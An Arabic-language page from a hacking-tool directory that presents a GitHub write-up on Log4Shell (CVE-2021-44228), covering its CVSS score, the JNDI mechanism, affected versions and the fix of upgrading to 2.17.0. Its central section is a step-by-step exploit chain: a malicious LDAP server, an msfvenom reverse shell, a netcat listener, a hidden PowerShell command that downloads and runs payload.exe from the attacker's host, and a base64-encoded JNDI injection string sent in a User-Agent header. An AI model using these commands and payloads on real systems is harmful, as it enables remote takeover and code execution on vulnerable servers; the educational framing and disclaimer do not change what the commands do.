Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-44228 — Log4Shell (CVE-2021-44228): الوصف، الاستغلال، والتخفيف | Kitploit
أدوات/GitHubGitHub/zaneef/cve-2021-44228
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليم
GitHubzaneef/cve-2021-44228

CVE-2021-44228

Log4Shell (CVE-2021-44228): الوصف، الاستغلال، والتخفيف

عرض المستودع
منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-44228

في 9 ديسمبر 2021، علم العالم بثغرة أمنية جديدة تخص Log4J. تم تقييم درجة CVSSv3 (نظام تقييم الثغرات المشترك) للثغرة بمقدار 10، مما يجعلها ذات مستوى حرج (https://nvd.nist.gov/vuln/detail/CVE-2021-44228).

CVSSv3

ناقل CVSSv3 الخاص بها هو كما يلي: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.

لنقم بتوضيح القيم قليلاً حتى يمكن فهم سبب التقييم بالكامل:

  • AV:N (Attack Vector: Network): ناقل الهجوم هو الشبكة، وبالتالي، يمكن استغلال أي جهاز ضعيف عن بُعد.
  • AC:L (Attack Complexity: Low): تعقيد الهجوم منخفض، وبالتالي يمكن تنفيذه حتى من قبل مهاجم لديه معرفة قليلة بالثغرة أو بطريقة عملها أو بمهارة قليلة.
  • PR:N (Privileged Required: None): لا حاجة لأية صلاحية داخل النظام.
  • UI:N (User Interaction: None): النظام ضعيف حتى بدون أي تفاعل من قبل المستخدم.
  • S:C (Scope: Changed)
  • C:H (Confidentiality: High): سرية المعلومات داخل الجهاز مخترقة بالكامل. يؤدي هذا إلى فقدان تام لسرية البيانات وكشفها للمهاجم.
  • I:H (Integrity: High): سلامة المعلومات الموجودة في الجهاز مخترقة بالكامل. يمكن للمهاجم تعديل أو حذف أي ملف.
  • A:H (Availability: High): المهاجم قادر على منع الوصول تمامًا إلى المعلومات أو خدمات الجهاز.

ما هو Log4J؟

Log4J هي مكتبة جافا، وهي الآن جزء من مشروع مؤسسة برمجيات أباتشي، تسمح بمراقبة حالة التطبيق.

وهي المعيار الفعلي لتسجيل الدخول (logging) لتطبيقات جافا.

كيف يعمل؟

تعتمد الثغرة على JNDI (واجهة تسمية ودليل جافا): وهي API جافا تسمح لتطبيق بالتفاعل مع خدمة دليل خارجية (مثل LDAP).

يتم التفاعل عبر وظيفة البحث (lookup) لـ JNDI، والتي تكون مفعلة في الإعدادات الافتراضية لـ Log4J، مما يسمح بالتفاعل مع خادم بعيد.

TCP Reverse Shell عبر استغلال Log4J

بعض التوضيحات الصغيرة المفيدة للقراءة:

  • عنوان IP لجهاز المهاجم هو 10.0.0.1
  • عنوان IP للجهاز الضعيف لـ Log4Shell هو 10.0.0.2
  • نظام تشغيل الجهاز الضعيف هو Windows بمعمارية x86
  • الجهاز الضعيف لديه تطبيق ويب يعمل على المنفذ 80 ويمكن زيارته على الرابط http://hackme.com
❗ تحذير ❗
تقنية الهجوم الموصوفة أدناه يجب أن تكون مفيدة فقط لفهم خطورة الثغرة قيد الدراسة. يتبرأ المؤلف ويدين أي استخدام غير لائق للمقال التالي.

الهدف من الهجوم التالي هو استغلال Log4Shell لتنزيل وتنفيذ reverse shell على النظام الضعيف بحيث يتم السيطرة الكاملة عليه.

1. تكوين جهاز المهاجم

  1. نقوم بتنزيل المستودع الذي يحتوي على الكود اللازم لتهيئة خادم LDAP خبيث
root@kitploit:~
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
  1. نقوم بإنشاء reverse shell بـ TCP لويندوز باستخدام msfvenom بحيث يمكن استقبال الوصول عن بُعد إلى الجهاز على المنفذ 8888
root@kitploit:~
msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
  1. نقوم بتهيئة مستمع (listener) باستخدام nc على المنفذ 8888 لاستقبال الاتصال من الـ reverse shell المحملة في الجهاز الضعيف
root@kitploit:~
nc -lvnp 8888
  1. نقوم بتشغيل خادم HTTP للسماح بتنزيل البرنامج الضار من الجهاز الهدف:
root@kitploit:~
python3 -m http.server 4444
  1. باستخدام الأمر التالي في Powershell، سيتمكن المهاجم من الاتصال بخادم HTTP الخاص به، وتنزيل البرنامج الضار داخل المسار C:\windows\temp وتنفيذه
root@kitploit:~
powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
  1. نقوم بترميز الحمولة السابقة إلى base64 باستخدام الأمر التالي
root@kitploit:~
echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64

نتيجة الأمر السابق هي كما يلي:

root@kitploit:~
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=

2. الاستغلال

  1. لنفترض أن تطبيق الويب يسجل User-Agent للزائر. يرسل المهاجم طلبًا مشابهًا لما يلي:
root@kitploit:~
GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
  1. يتم تمرير السلسلة
root@kitploit:~
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}

إلى Log4J الذي يفسرها، وعبر JNDI، يقوم بإرسال الطلب إلى خادم LDAP الخاص بالمهاجم

root@kitploit:~
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
  1. يتم تنزيل البرنامج الضار وتنفيذه.

  2. يحصل المهاجم على شل (shell) للجهاز على المنفذ 8888.

هل أنا ضعيف؟

أولاً وقبل كل شيء، يجب التذكير أن هذه ثغرة تشمل فقط البرامج التي تستخدم Java أو أي مشتق منه (وبالطبع Log4J كمكتبة تسجيل دخول).

  • 2.0-beta9 - 2.14.1: الإصدارات المعرضة لـ Log4Shell تتراوح من 2.0-beta9 إلى 2.14.1.
  • 2.15.0: تم العثور على إصدار 2.15.0 من Log4J ضعيفًا. CVE-2021-45046. حاليًا تقييم الثغرة هو "9.0 Critical".
  • 2.16.0: تم العثور على إصدار 2.16.0 من Log4J ضعيفًا. CVE-2021-45105. حاليًا تقييم الثغرة هو "7.5 High".

إصدار 1.x من Log4J ليس معرضًا بشكل صارم للثغرة الأمنية المشار إليها، ولكن بالإضافة إلى كونه قد أصبح مهملاً منذ عام 2015، فهو يعاني من الثغرة التالية: CVE-2021-4104.

كيف يمكنني المعالجة؟

الحل الأفضل هو تحديث Log4J إلى الإصدار 2.17.0.

تنزيل الأداة